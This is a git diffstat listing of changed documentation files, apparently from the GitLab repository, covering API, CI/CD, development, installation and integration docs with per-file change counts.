-rw-r--r--doc/api/graphql/sample_issue_boards.md2
-rw-r--r--doc/api/group_activity_analytics.md2
-rw-r--r--doc/api/group_badges.md16
-rw-r--r--doc/api/group_boards.md10
-rw-r--r--doc/api/group_clusters.md91
-rw-r--r--doc/api/group_import_export.md4
-rw-r--r--doc/api/group_iterations.md2
-rw-r--r--doc/api/group_labels.md8
-rw-r--r--doc/api/group_level_variables.md2
-rw-r--r--doc/api/group_milestones.md2
-rw-r--r--doc/api/group_wikis.md2
-rw-r--r--doc/api/groups.md64
-rw-r--r--doc/api/import.md8
-rw-r--r--doc/api/instance_clusters.md83
-rw-r--r--doc/api/instance_level_ci_variables.md2
-rw-r--r--doc/api/invitations.md7
-rw-r--r--doc/api/issue_links.md8
-rw-r--r--doc/api/issues.md176
-rw-r--r--doc/api/issues_statistics.md10
-rw-r--r--doc/api/iterations.md2
-rw-r--r--doc/api/job_artifacts.md60
-rw-r--r--doc/api/jobs.md4
-rw-r--r--doc/api/keys.md2
-rw-r--r--doc/api/labels.md10
-rw-r--r--doc/api/license.md12
-rw-r--r--doc/api/license_templates.md3
-rw-r--r--doc/api/lint.md6
-rw-r--r--doc/api/managed_licenses.md2
-rw-r--r--doc/api/markdown.md2
-rw-r--r--doc/api/members.md32
-rw-r--r--doc/api/merge_request_approvals.md104
-rw-r--r--doc/api/merge_request_context_commits.md2
-rw-r--r--doc/api/merge_requests.md12
-rw-r--r--doc/api/merge_trains.md8
-rw-r--r--doc/api/metrics_dashboard_annotations.md4
-rw-r--r--doc/api/metrics_user_starred_dashboards.md8
-rw-r--r--doc/api/milestones.md2
-rw-r--r--doc/api/namespaces.md8
-rw-r--r--doc/api/notes.md19
-rw-r--r--doc/api/notification_settings.md2
-rw-r--r--doc/api/oauth2.md14
-rw-r--r--doc/api/packages.md8
-rw-r--r--doc/api/pages.md4
-rw-r--r--doc/api/pages_domains.md4
-rw-r--r--doc/api/personal_access_tokens.md6
-rw-r--r--doc/api/pipeline_schedules.md38
-rw-r--r--doc/api/pipeline_triggers.md2
-rw-r--r--doc/api/pipelines.md4
-rw-r--r--doc/api/project_aliases.md2
-rw-r--r--doc/api/project_analytics.md52
-rw-r--r--doc/api/project_badges.md2
-rw-r--r--doc/api/project_clusters.md90
-rw-r--r--doc/api/project_import_export.md10
-rw-r--r--doc/api/project_level_variables.md2
-rw-r--r--doc/api/project_repository_storage_moves.md36
-rw-r--r--doc/api/project_snippets.md4
-rw-r--r--doc/api/project_statistics.md2
-rw-r--r--doc/api/project_templates.md6
-rw-r--r--doc/api/project_vulnerabilities.md4
-rw-r--r--doc/api/projects.md27
-rw-r--r--doc/api/protected_branches.md2
-rw-r--r--doc/api/protected_environments.md4
-rw-r--r--doc/api/protected_tags.md2
-rw-r--r--doc/api/releases/index.md12
-rw-r--r--doc/api/releases/links.md24
-rw-r--r--doc/api/remote_mirrors.md4
-rw-r--r--doc/api/repositories.md4
-rw-r--r--doc/api/repository_files.md8
-rw-r--r--doc/api/repository_submodules.md2
-rw-r--r--doc/api/resource_iteration_events.md2
-rw-r--r--doc/api/resource_label_events.md2
-rw-r--r--doc/api/resource_milestone_events.md2
-rw-r--r--doc/api/resource_state_events.md2
-rw-r--r--doc/api/resource_weight_events.md2
-rw-r--r--doc/api/runners.md10
-rw-r--r--doc/api/scim.md6
-rw-r--r--doc/api/search.md31
-rw-r--r--doc/api/services.md33
-rw-r--r--doc/api/settings.md166
-rw-r--r--doc/api/sidekiq_metrics.md2
-rw-r--r--doc/api/snippets.md8
-rw-r--r--doc/api/statistics.md4
-rw-r--r--doc/api/suggestions.md2
-rw-r--r--doc/api/system_hooks.md8
-rw-r--r--doc/api/tags.md2
-rw-r--r--doc/api/templates/dockerfiles.md6
-rw-r--r--doc/api/templates/gitignores.md19
-rw-r--r--doc/api/templates/gitlab_ci_ymls.md2
-rw-r--r--doc/api/templates/licenses.md10
-rw-r--r--doc/api/todos.md2
-rw-r--r--doc/api/users.md101
-rw-r--r--doc/api/v3_to_v4.md2
-rw-r--r--doc/api/version.md2
-rw-r--r--doc/api/visual_review_discussions.md2
-rw-r--r--doc/api/vulnerabilities.md16
-rw-r--r--doc/api/vulnerability_exports.md10
-rw-r--r--doc/api/vulnerability_findings.md13
-rw-r--r--doc/api/wikis.md2
-rw-r--r--doc/architecture/blueprints/cloud_native_build_logs/index.md16
-rw-r--r--doc/architecture/blueprints/cloud_native_gitlab_pages/index.md10
-rw-r--r--doc/architecture/blueprints/feature_flags_development/index.md26
-rw-r--r--doc/architecture/blueprints/gitlab_to_kubernetes_communication/index.md164
-rw-r--r--doc/architecture/blueprints/image_resizing/index.md6
-rw-r--r--doc/architecture/index.md2
-rw-r--r--doc/ci/README.md75
-rw-r--r--doc/ci/autodeploy/index.md3
-rw-r--r--doc/ci/autodeploy/quick_start_guide.md3
-rw-r--r--doc/ci/build_artifacts/README.md3
-rw-r--r--doc/ci/caching/index.md188
-rw-r--r--doc/ci/chatops/README.md2
-rw-r--r--doc/ci/ci_cd_for_external_repos/bitbucket_integration.md17
-rw-r--r--doc/ci/ci_cd_for_external_repos/github_integration.md22
-rw-r--r--doc/ci/ci_cd_for_external_repos/index.md14
-rw-r--r--doc/ci/cloud_deployment/index.md21
-rw-r--r--doc/ci/directed_acyclic_graph/index.md16
-rw-r--r--doc/ci/docker/README.md2
-rw-r--r--doc/ci/docker/using_docker_build.md358
-rw-r--r--doc/ci/docker/using_docker_images.md2
-rw-r--r--doc/ci/docker/using_kaniko.md26
-rw-r--r--doc/ci/enable_or_disable_ci.md12
-rw-r--r--doc/ci/environments.md3
-rw-r--r--doc/ci/environments/deployment_safety.md4
-rw-r--r--doc/ci/environments/environments_dashboard.md4
-rw-r--r--doc/ci/environments/incremental_rollouts.md4
-rw-r--r--doc/ci/environments/index.md42
-rw-r--r--doc/ci/environments/protected_environments.md6
-rw-r--r--doc/ci/examples/README.md9
-rw-r--r--doc/ci/examples/artifactory_and_gitlab/index.md4
-rw-r--r--doc/ci/examples/authenticating-with-hashicorp-vault/index.md14
-rw-r--r--doc/ci/examples/browser_performance.md3
-rw-r--r--doc/ci/examples/code_climate.md3
-rw-r--r--doc/ci/examples/code_quality.md3
-rw-r--r--doc/ci/examples/container_scanning.md3
-rw-r--r--doc/ci/examples/dast.md3
-rw-r--r--doc/ci/examples/dependency_scanning.md3
-rw-r--r--doc/ci/examples/deploy_spring_boot_to_cloud_foundry/index.md10
-rw-r--r--doc/ci/examples/deployment/README.md6
-rw-r--r--doc/ci/examples/deployment/composer-npm-deploy.md4
-rw-r--r--doc/ci/examples/devops_and_game_dev_with_gitlab_ci_cd/index.md8
-rw-r--r--doc/ci/examples/end_to_end_testing_webdriverio/index.md2
-rw-r--r--doc/ci/examples/laravel_with_gitlab_and_envoy/index.md4
-rw-r--r--doc/ci/examples/license_management.md3
-rw-r--r--doc/ci/examples/php.md20
-rw-r--r--doc/ci/examples/sast.md3
-rw-r--r--doc/ci/examples/sast_docker.md3
-rw-r--r--doc/ci/examples/semantic-release.md159
-rw-r--r--doc/ci/examples/test-and-deploy-python-application-to-heroku.md2
-rw-r--r--doc/ci/examples/test-and-deploy-ruby-application-to-heroku.md2
-rw-r--r--doc/ci/examples/test-clojure-application.md4
-rw-r--r--doc/ci/examples/test-scala-application.md4
-rw-r--r--doc/ci/examples/test_phoenix_app_with_gitlab_ci_cd/index.md2
-rw-r--r--doc/ci/git_submodules.md16
-rw-r--r--doc/ci/img/junit_test_report.pngbin9572 -> 28718 bytes
-rw-r--r--doc/ci/interactive_web_terminal/img/interactive_web_terminal_running_job.pngbin35982 -> 51334 bytes
-rw-r--r--doc/ci/interactive_web_terminal/index.md20
-rw-r--r--doc/ci/introduction/index.md103
-rw-r--r--doc/ci/jenkins/index.md3
-rw-r--r--doc/ci/jobs/index.md2
-rw-r--r--doc/ci/junit_test_reports.md3
-rw-r--r--doc/ci/large_repositories/index.md16
-rw-r--r--doc/ci/lint.md7
-rw-r--r--doc/ci/merge_request_pipelines/index.md14
-rw-r--r--doc/ci/merge_request_pipelines/pipelines_for_merged_results/img/merged_result_pipeline.pngbin0 -> 7374 bytes
-rw-r--r--doc/ci/merge_request_pipelines/pipelines_for_merged_results/index.md20
-rw-r--r--doc/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md21
-rw-r--r--doc/ci/metrics_reports.md4
-rw-r--r--doc/ci/migration/circleci.md4
-rw-r--r--doc/ci/migration/jenkins.md40
-rw-r--r--doc/ci/multi_project_pipeline_graphs.md3
-rw-r--r--doc/ci/multi_project_pipelines.md63
-rw-r--r--doc/ci/parent_child_pipelines.md14
-rw-r--r--doc/ci/permissions/README.md3
-rw-r--r--doc/ci/pipelines.md3
-rw-r--r--doc/ci/pipelines/img/ci_efficiency_pipeline_health_grafana_dashboard.pngbin55200 -> 242875 bytes
-rw-r--r--doc/ci/pipelines/index.md20
-rw-r--r--doc/ci/pipelines/job_artifacts.md32
-rw-r--r--doc/ci/pipelines/pipeline_architectures.md10
-rw-r--r--doc/ci/pipelines/pipeline_artifacts.md4
-rw-r--r--doc/ci/pipelines/pipeline_efficiency.md14
-rw-r--r--doc/ci/pipelines/schedules.md16
-rw-r--r--doc/ci/pipelines/settings.md9
-rw-r--r--doc/ci/quick_start/README.md6
-rw-r--r--doc/ci/quick_start/img/job_details_v13_6.pngbin127827 -> 37598 bytes
-rw-r--r--doc/ci/quick_start/img/pipeline_graph_v13_6.pngbin27157 -> 8789 bytes
-rw-r--r--doc/ci/quick_start/img/runners_activated.pngbin104545 -> 0 bytes
-rw-r--r--doc/ci/quick_start/img/three_stages_v13_6.pngbin23531 -> 7946 bytes
-rw-r--r--doc/ci/review_apps/index.md6
-rw-r--r--doc/ci/runners/README.md16
-rw-r--r--doc/ci/secrets/index.md10
-rw-r--r--doc/ci/services/README.md2
-rw-r--r--doc/ci/services/docker-services.md3
-rw-r--r--doc/ci/services/mysql.md6
-rw-r--r--doc/ci/services/postgres.md12
-rw-r--r--doc/ci/services/redis.md8
-rw-r--r--doc/ci/ssh_keys/README.md20
-rw-r--r--doc/ci/test_cases/img/test_case_list_v13_6.pngbin0 -> 70726 bytes
-rw-r--r--doc/ci/test_cases/img/test_case_show_v13_6.pngbin0 -> 63772 bytes
-rw-r--r--doc/ci/test_cases/index.md80
-rw-r--r--doc/ci/triggers/README.md36
-rw-r--r--doc/ci/troubleshooting.md3
-rw-r--r--doc/ci/unit_test_reports.md35
-rw-r--r--doc/ci/variables/README.md62
-rw-r--r--doc/ci/variables/deprecated_variables.md4
-rw-r--r--doc/ci/variables/predefined_variables.md17
-rw-r--r--doc/ci/variables/where_variables_can_be_used.md20
-rw-r--r--doc/ci/yaml/README.md768
-rw-r--r--doc/ci/yaml/gitlab_ci_yaml.md89
-rw-r--r--doc/ci/yaml/img/ci_config_visualization_hover_v13_5.pngbin30986 -> 0 bytes
-rw-r--r--doc/ci/yaml/img/ci_config_visualization_hover_v13_7.pngbin0 -> 19870 bytes
-rw-r--r--doc/ci/yaml/img/ci_config_visualization_v13_5.pngbin30319 -> 0 bytes
-rw-r--r--doc/ci/yaml/img/ci_config_visualization_v13_7.pngbin0 -> 18585 bytes
-rw-r--r--doc/ci/yaml/img/job_running.png (renamed from doc/ci/introduction/img/job_running.png)bin99621 -> 99621 bytes
-rw-r--r--doc/ci/yaml/img/pipeline_status.png (renamed from doc/ci/introduction/img/pipeline_status.png)bin54243 -> 54243 bytes
-rw-r--r--doc/ci/yaml/img/rollback.png (renamed from doc/ci/introduction/img/rollback.png)bin41693 -> 41693 bytes
-rw-r--r--doc/ci/yaml/includes.md4
-rw-r--r--doc/ci/yaml/script.md4
-rw-r--r--doc/ci/yaml/visualization.md20
-rw-r--r--doc/customization/branded_login_page.md3
-rw-r--r--doc/customization/branded_page_and_email_header.md3
-rw-r--r--doc/customization/favicon.md3
-rw-r--r--doc/customization/help_message.md3
-rw-r--r--doc/customization/index.md3
-rw-r--r--doc/customization/issue_and_merge_request_template.md3
-rw-r--r--doc/customization/issue_closing.md3
-rw-r--r--doc/customization/libravatar.md3
-rw-r--r--doc/customization/new_project_page.md3
-rw-r--r--doc/customization/system_header_and_footer_messages.md3
-rw-r--r--doc/customization/welcome_message.md3
-rw-r--r--doc/development/README.md123
-rw-r--r--doc/development/adding_database_indexes.md2
-rw-r--r--doc/development/adding_service_component.md6
-rw-r--r--doc/development/agent/gitops.md148
-rw-r--r--doc/development/agent/identity.md94
-rw-r--r--doc/development/agent/index.md87
-rw-r--r--doc/development/agent/local.md58
-rw-r--r--doc/development/agent/routing.md223
-rw-r--r--doc/development/agent/user_stories.md77
-rw-r--r--doc/development/api_graphql_styleguide.md264
-rw-r--r--doc/development/api_styleguide.md20
-rw-r--r--doc/development/application_limits.md6
-rw-r--r--doc/development/application_secrets.md13
-rw-r--r--doc/development/approval_rules.md4
-rw-r--r--doc/development/architecture.md36
-rw-r--r--doc/development/auto_devops.md2
-rw-r--r--doc/development/background_migrations.md4
-rw-r--r--doc/development/build_test_package.md4
-rw-r--r--doc/development/bulk_import.md53
-rw-r--r--doc/development/cached_queries.md144
-rw-r--r--doc/development/changelog.md14
-rw-r--r--doc/development/chaos_endpoints.md48
-rw-r--r--doc/development/chatops_on_gitlabcom.md53
-rw-r--r--doc/development/cicd/index.md20
-rw-r--r--doc/development/cicd/templates.md4
-rw-r--r--doc/development/code_comments.md4
-rw-r--r--doc/development/code_intelligence/index.md4
-rw-r--r--doc/development/code_review.md66
-rw-r--r--doc/development/contributing/community_roles.md4
-rw-r--r--doc/development/contributing/design.md2
-rw-r--r--doc/development/contributing/index.md8
-rw-r--r--doc/development/contributing/issue_workflow.md16
-rw-r--r--doc/development/contributing/merge_request_workflow.md6
-rw-r--r--doc/development/contributing/style_guides.md31
-rw-r--r--doc/development/creating_enums.md2
-rw-r--r--doc/development/cycle_analytics.md3
-rw-r--r--doc/development/dangerbot.md48
-rw-r--r--doc/development/database/add_foreign_key_to_existing_column.md6
-rw-r--r--doc/development/database/constraint_naming_convention.md4
-rw-r--r--doc/development/database/database_reviewer_guidelines.md2
-rw-r--r--doc/development/database/index.md3
-rw-r--r--doc/development/database/maintenance_operations.md2
-rw-r--r--doc/development/database/not_null_constraints.md6
-rw-r--r--doc/development/database/setting_multiple_values.md2
-rw-r--r--doc/development/database/strings_and_the_text_data_type.md10
-rw-r--r--doc/development/database/table_partitioning.md4
-rw-r--r--doc/development/database_debugging.md2
-rw-r--r--doc/development/database_query_comments.md2
-rw-r--r--doc/development/database_review.md67
-rw-r--r--doc/development/db_dump.md2
-rw-r--r--doc/development/deleting_migrations.md2
-rw-r--r--doc/development/deprecation_guidelines/index.md4
-rw-r--r--doc/development/diffs.md42
-rw-r--r--doc/development/distributed_tracing.md24
-rw-r--r--doc/development/doc_styleguide.md3
-rw-r--r--doc/development/documentation/feature-change-workflow.md3
-rw-r--r--doc/development/documentation/feature_flags.md10
-rw-r--r--doc/development/documentation/improvement-workflow.md3
-rw-r--r--doc/development/documentation/index.md172
-rw-r--r--doc/development/documentation/restful_api_styleguide.md6
-rw-r--r--doc/development/documentation/site_architecture/deployment_process.md8
-rw-r--r--doc/development/documentation/site_architecture/global_nav.md16
-rw-r--r--doc/development/documentation/site_architecture/index.md21
-rw-r--r--doc/development/documentation/site_architecture/release_process.md36
-rw-r--r--doc/development/documentation/structure.md8
-rw-r--r--doc/development/documentation/styleguide/img/tier_badge.pngbin0 -> 9592 bytes
-rw-r--r--doc/development/documentation/styleguide/index.md774
-rw-r--r--doc/development/documentation/testing.md130
-rw-r--r--doc/development/documentation/workflow.md16
-rw-r--r--doc/development/ee_features.md30
-rw-r--r--doc/development/elasticsearch.md43
-rw-r--r--doc/development/emails.md4
-rw-r--r--doc/development/event_tracking/backend.md3
-rw-r--r--doc/development/event_tracking/frontend.md3
-rw-r--r--doc/development/event_tracking/index.md3
-rw-r--r--doc/development/experiment_guide/index.md179
-rw-r--r--doc/development/export_csv.md21
-rw-r--r--doc/development/fe_guide/accessibility.md2
-rw-r--r--doc/development/fe_guide/architecture.md2
-rw-r--r--doc/development/fe_guide/axios.md2
-rw-r--r--doc/development/fe_guide/dependencies.md4
-rw-r--r--doc/development/fe_guide/design_patterns.md2
-rw-r--r--doc/development/fe_guide/development_process.md4
-rw-r--r--doc/development/fe_guide/droplab/droplab.md14
-rw-r--r--doc/development/fe_guide/droplab/plugins/ajax.md2
-rw-r--r--doc/development/fe_guide/droplab/plugins/filter.md4
-rw-r--r--doc/development/fe_guide/droplab/plugins/index.md2
-rw-r--r--doc/development/fe_guide/droplab/plugins/input_setter.md4
-rw-r--r--doc/development/fe_guide/editor_lite.md10
-rw-r--r--doc/development/fe_guide/emojis.md2
-rw-r--r--doc/development/fe_guide/event_tracking.md3
-rw-r--r--doc/development/fe_guide/frontend_faq.md13
-rw-r--r--doc/development/fe_guide/graphql.md527
-rw-r--r--doc/development/fe_guide/icons.md8
-rw-r--r--doc/development/fe_guide/index.md10
-rw-r--r--doc/development/fe_guide/keyboard_shortcuts.md2
-rw-r--r--doc/development/fe_guide/performance.md272
-rw-r--r--doc/development/fe_guide/principles.md6
-rw-r--r--doc/development/fe_guide/security.md8
-rw-r--r--doc/development/fe_guide/style/html.md2
-rw-r--r--doc/development/fe_guide/style/index.md2
-rw-r--r--doc/development/fe_guide/style/javascript.md8
-rw-r--r--doc/development/fe_guide/style/scss.md186
-rw-r--r--doc/development/fe_guide/style/vue.md6
-rw-r--r--doc/development/fe_guide/style_guide_js.md3
-rw-r--r--doc/development/fe_guide/style_guide_scss.md3
-rw-r--r--doc/development/fe_guide/testing.md3
-rw-r--r--doc/development/fe_guide/tooling.md20
-rw-r--r--doc/development/fe_guide/vue.md20
-rw-r--r--doc/development/fe_guide/vue3_migration.md4
-rw-r--r--doc/development/fe_guide/vuex.md60
-rw-r--r--doc/development/feature_categorization/index.md9
-rw-r--r--doc/development/feature_flags.md3
-rw-r--r--doc/development/feature_flags/controls.md20
-rw-r--r--doc/development/feature_flags/development.md49
-rw-r--r--doc/development/feature_flags/index.md31
-rw-r--r--doc/development/feature_flags/process.md27
-rw-r--r--doc/development/features_inside_dot_gitlab.md2
-rw-r--r--doc/development/file_storage.md11
-rw-r--r--doc/development/filtering_by_label.md2
-rw-r--r--doc/development/foreign_keys.md2
-rw-r--r--doc/development/frontend.md3
-rw-r--r--doc/development/gemfile.md2
-rw-r--r--doc/development/geo.md6
-rw-r--r--doc/development/geo/framework.md68
-rw-r--r--doc/development/git_object_deduplication.md52
-rw-r--r--doc/development/gitaly.md42
-rw-r--r--doc/development/github_importer.md46
-rw-r--r--doc/development/go_guide/dependencies.md28
-rw-r--r--doc/development/go_guide/index.md28
-rw-r--r--doc/development/gotchas.md14
-rw-r--r--doc/development/graphql_guide/batchloader.md2
-rw-r--r--doc/development/graphql_guide/index.md4
-rw-r--r--doc/development/graphql_guide/pagination.md42
-rw-r--r--doc/development/hash_indexes.md2
-rw-r--r--doc/development/i18n/externalization.md30
-rw-r--r--doc/development/i18n/index.md12
-rw-r--r--doc/development/i18n/merging_translations.md10
-rw-r--r--doc/development/i18n/proofreader.md6
-rw-r--r--doc/development/i18n/translation.md10
-rw-r--r--doc/development/i18n_guide.md3
-rw-r--r--doc/development/image_scaling.md4
-rw-r--r--doc/development/img/bulk_imports_overview_v13_7.pngbin0 -> 35495 bytes
-rw-r--r--doc/development/img/each_batch_users_table_bad_index_v13_7.pngbin0 -> 7386 bytes
-rw-r--r--doc/development/img/each_batch_users_table_filter_v13_7.pngbin0 -> 6940 bytes
-rw-r--r--doc/development/img/each_batch_users_table_filtered_index_v13_7.pngbin0 -> 5986 bytes
-rw-r--r--doc/development/img/each_batch_users_table_good_index_v13_7.pngbin0 -> 7046 bytes
-rw-r--r--doc/development/img/each_batch_users_table_iteration_1_v13_7.pngbin0 -> 5942 bytes
-rw-r--r--doc/development/img/each_batch_users_table_iteration_2_v13_7.pngbin0 -> 6539 bytes
-rw-r--r--doc/development/img/each_batch_users_table_iteration_3_v13_7.pngbin0 -> 6665 bytes
-rw-r--r--doc/development/img/each_batch_users_table_iteration_4_v13_7.pngbin0 -> 6620 bytes
-rw-r--r--doc/development/img/each_batch_users_table_iteration_5_v13_7.pngbin0 -> 6897 bytes
-rw-r--r--doc/development/img/each_batch_users_table_v13_7.pngbin0 -> 6361 bytes
-rw-r--r--doc/development/import_export.md14
-rw-r--r--doc/development/import_project.md20
-rw-r--r--doc/development/insert_into_tables_in_batches.md4
-rw-r--r--doc/development/instrumentation.md23
-rw-r--r--doc/development/integrations/codesandbox.md140
-rw-r--r--doc/development/integrations/img/copy_cookies.pngbin0 -> 44311 bytes
-rw-r--r--doc/development/integrations/img/copy_curl.pngbin0 -> 60175 bytes
-rw-r--r--doc/development/integrations/img/example_vuln.png (renamed from doc/development/integrations/example_vuln.png)bin36208 -> 36208 bytes
-rw-r--r--doc/development/integrations/jenkins.md8
-rw-r--r--doc/development/integrations/jira_connect.md36
-rw-r--r--doc/development/integrations/secure.md18
-rw-r--r--doc/development/integrations/secure_partner_integration.md14
-rw-r--r--doc/development/interacting_components.md2
-rw-r--r--doc/development/internal_api.md20
-rw-r--r--doc/development/internal_users.md2
-rw-r--r--doc/development/issuable-like-models.md2
-rw-r--r--doc/development/issue_types.md2
-rw-r--r--doc/development/iterating_tables_in_batches.md333
-rw-r--r--doc/development/kubernetes.md4
-rw-r--r--doc/development/lfs.md6
-rw-r--r--doc/development/licensed_feature_availability.md4
-rw-r--r--doc/development/licensing.md10
-rw-r--r--doc/development/logging.md47
-rw-r--r--doc/development/mass_insert.md4
-rw-r--r--doc/development/merge_request_performance_guidelines.md60
-rw-r--r--doc/development/migration_style_guide.md72
-rw-r--r--doc/development/module_with_instance_variables.md10
-rw-r--r--doc/development/multi_version_compatibility.md20
-rw-r--r--doc/development/namespaces_storage_statistics.md8
-rw-r--r--doc/development/new_fe_guide/dependencies.md2
-rw-r--r--doc/development/new_fe_guide/development/accessibility.md4
-rw-r--r--doc/development/new_fe_guide/development/components.md2
-rw-r--r--doc/development/new_fe_guide/development/index.md2
-rw-r--r--doc/development/new_fe_guide/development/performance.md4
-rw-r--r--doc/development/new_fe_guide/development/testing.md3
-rw-r--r--doc/development/new_fe_guide/index.md4
-rw-r--r--doc/development/new_fe_guide/modules/dirty_submit.md2
-rw-r--r--doc/development/new_fe_guide/modules/index.md2
-rw-r--r--doc/development/new_fe_guide/modules/widget_extensions.md4
-rw-r--r--doc/development/new_fe_guide/style/html.md3
-rw-r--r--doc/development/new_fe_guide/style/index.md3
-rw-r--r--doc/development/new_fe_guide/style/javascript.md3
-rw-r--r--doc/development/new_fe_guide/style/prettier.md3
-rw-r--r--doc/development/new_fe_guide/tips.md2
-rw-r--r--doc/development/newlines_styleguide.md2
-rw-r--r--doc/development/omnibus.md2
-rw-r--r--doc/development/ordering_table_columns.md2
-rw-r--r--doc/development/packages.md40
-rw-r--r--doc/development/performance.md60
-rw-r--r--doc/development/permissions.md10
-rw-r--r--doc/development/pipelines.md61
-rw-r--r--doc/development/policies.md48
-rw-r--r--doc/development/polling.md4
-rw-r--r--doc/development/polymorphic_associations.md16
-rw-r--r--doc/development/post_deployment_migrations.md10
-rw-r--r--doc/development/product_analytics/event_dictionary.md3
-rw-r--r--doc/development/product_analytics/index.md3
-rw-r--r--doc/development/product_analytics/snowplow.md241
-rw-r--r--doc/development/product_analytics/usage_ping.md170
-rw-r--r--doc/development/profiling.md10
-rw-r--r--doc/development/projections.md2
-rw-r--r--doc/development/prometheus.md3
-rw-r--r--doc/development/prometheus_metrics.md8
-rw-r--r--doc/development/pry_debugging.md8
-rw-r--r--doc/development/python_guide/index.md14
-rw-r--r--doc/development/query_count_limits.md10
-rw-r--r--doc/development/query_performance.md74
-rw-r--r--doc/development/query_recorder.md10
-rw-r--r--doc/development/rails_initializers.md2
-rw-r--r--doc/development/rake_tasks.md27
-rw-r--r--doc/development/reactive_caching.md126
-rw-r--r--doc/development/redis.md12
-rw-r--r--doc/development/refactoring_guide/index.md2
-rw-r--r--doc/development/reference_processing.md8
-rw-r--r--doc/development/renaming_features.md10
-rw-r--r--doc/development/repository_mirroring.md6
-rw-r--r--doc/development/reusing_abstractions.md2
-rw-r--r--doc/development/rolling_out_changes_using_feature_flags.md3
-rw-r--r--doc/development/routing.md2
-rw-r--r--doc/development/scalability.md65
-rw-r--r--doc/development/secure_coding_guidelines.md65
-rw-r--r--doc/development/serializing_data.md2
-rw-r--r--doc/development/service_measurement.md8
-rw-r--r--doc/development/session.md2
-rw-r--r--doc/development/sha1_as_binary.md2
-rw-r--r--doc/development/shared_files.md4
-rw-r--r--doc/development/shell_commands.md4
-rw-r--r--doc/development/shell_scripting_guide/index.md16
-rw-r--r--doc/development/sidekiq_debugging.md3
-rw-r--r--doc/development/sidekiq_style_guide.md97
-rw-r--r--doc/development/single_table_inheritance.md2
-rw-r--r--doc/development/sql.md2
-rw-r--r--doc/development/swapping_tables.md2
-rw-r--r--doc/development/telemetry/event_dictionary.md3
-rw-r--r--doc/development/telemetry/index.md3
-rw-r--r--doc/development/telemetry/snowplow.md3
-rw-r--r--doc/development/telemetry/usage_ping.md3
-rw-r--r--doc/development/testing.md3
-rw-r--r--doc/development/testing_guide/best_practices.md50
-rw-r--r--doc/development/testing_guide/ci.md10
-rw-r--r--doc/development/testing_guide/end_to_end/beginners_guide.md32
-rw-r--r--doc/development/testing_guide/end_to_end/best_practices.md12
-rw-r--r--doc/development/testing_guide/end_to_end/dynamic_element_validation.md10
-rw-r--r--doc/development/testing_guide/end_to_end/environment_selection.md8
-rw-r--r--doc/development/testing_guide/end_to_end/feature_flags.md8
-rw-r--r--doc/development/testing_guide/end_to_end/flows.md2
-rw-r--r--doc/development/testing_guide/end_to_end/index.md8
-rw-r--r--doc/development/testing_guide/end_to_end/page_objects.md26
-rw-r--r--doc/development/testing_guide/end_to_end/resources.md31
-rw-r--r--doc/development/testing_guide/end_to_end/rspec_metadata_tests.md18
-rw-r--r--doc/development/testing_guide/end_to_end/running_tests_that_require_special_setup.md24
-rw-r--r--doc/development/testing_guide/end_to_end/style_guide.md5
-rw-r--r--doc/development/testing_guide/flaky_tests.md6
-rw-r--r--doc/development/testing_guide/frontend_testing.md193
-rw-r--r--doc/development/testing_guide/index.md2
-rw-r--r--doc/development/testing_guide/review_apps.md14
-rw-r--r--doc/development/testing_guide/smoke.md6
-rw-r--r--doc/development/testing_guide/testing_levels.md24
-rw-r--r--doc/development/testing_guide/testing_migrations_guide.md31
-rw-r--r--doc/development/testing_guide/testing_rake_tasks.md4
-rw-r--r--doc/development/understanding_explain_plans.md2
-rw-r--r--doc/development/uploads.md24
-rw-r--r--doc/development/utilities.md4
-rw-r--r--doc/development/ux_guide/users.md7
-rw-r--r--doc/development/value_stream_analytics.md20
-rw-r--r--doc/development/verifying_database_capabilities.md2
-rw-r--r--doc/development/what_requires_downtime.md4
-rw-r--r--doc/development/wikis.md2
-rw-r--r--doc/development/windows.md12
-rw-r--r--doc/downgrade_ee_to_ce/README.md29
-rw-r--r--doc/gitlab-basics/README.md4
-rw-r--r--doc/gitlab-basics/add-file.md2
-rw-r--r--doc/gitlab-basics/add-image.md3
-rw-r--r--doc/gitlab-basics/add-merge-request.md3
-rw-r--r--doc/gitlab-basics/basic-git-commands.md3
-rw-r--r--doc/gitlab-basics/command-line-commands.md8
-rw-r--r--doc/gitlab-basics/create-branch.md2
-rw-r--r--doc/gitlab-basics/create-group.md3
-rw-r--r--doc/gitlab-basics/create-issue.md3
-rw-r--r--doc/gitlab-basics/create-project.md6
-rw-r--r--doc/gitlab-basics/create-your-ssh-keys.md4
-rw-r--r--doc/gitlab-basics/feature_branch_workflow.md2
-rw-r--r--doc/gitlab-basics/fork-project.md2
-rw-r--r--doc/gitlab-basics/start-using-git.md26
-rw-r--r--doc/img/devops-stages-13_3.pngbin24935 -> 0 bytes
-rw-r--r--doc/install/README.md8
-rw-r--r--doc/install/aws/index.md30
-rw-r--r--doc/install/azure/index.md24
-rw-r--r--doc/install/digitaloceandocker.md14
-rw-r--r--doc/install/docker.md2
-rw-r--r--doc/install/google-protobuf.md3
-rw-r--r--doc/install/google_cloud_platform/index.md6
-rw-r--r--doc/install/installation.md46
-rw-r--r--doc/install/ldap.md3
-rw-r--r--doc/install/openshift_and_gitlab/index.md22
-rw-r--r--doc/install/pivotal/index.md6
-rw-r--r--doc/install/postgresql_extensions.md2
-rw-r--r--doc/install/redis.md3
-rw-r--r--doc/install/relative_url.md6
-rw-r--r--doc/install/requirements.md19
-rw-r--r--doc/integration/README.md15
-rw-r--r--doc/integration/akismet.md8
-rw-r--r--doc/integration/auth0.md6
-rw-r--r--doc/integration/azure.md6
-rw-r--r--doc/integration/bitbucket.md8
-rw-r--r--doc/integration/cas.md8
-rw-r--r--doc/integration/chat_commands.md3
-rw-r--r--doc/integration/crowd.md3
-rw-r--r--doc/integration/elasticsearch.md138
-rw-r--r--doc/integration/external-issue-tracker.md8
-rw-r--r--doc/integration/facebook.md10
-rw-r--r--doc/integration/github.md22
-rw-r--r--doc/integration/gitlab.md12
-rw-r--r--doc/integration/gitpod.md4
-rw-r--r--doc/integration/gmail_action_buttons_for_gitlab.md13
-rw-r--r--doc/integration/google.md16
-rw-r--r--doc/integration/img/sourcegraph_admin_v12_5.pngbin18499 -> 18222 bytes
-rw-r--r--doc/integration/jenkins.md58
-rw-r--r--doc/integration/jenkins_deprecated.md23
-rw-r--r--doc/integration/jira.md3
-rw-r--r--doc/integration/jira_development_panel.md24
-rw-r--r--doc/integration/kerberos.md16
-rw-r--r--doc/integration/ldap.md3
-rw-r--r--doc/integration/oauth2_generic.md16
-rw-r--r--doc/integration/oauth_provider.md14
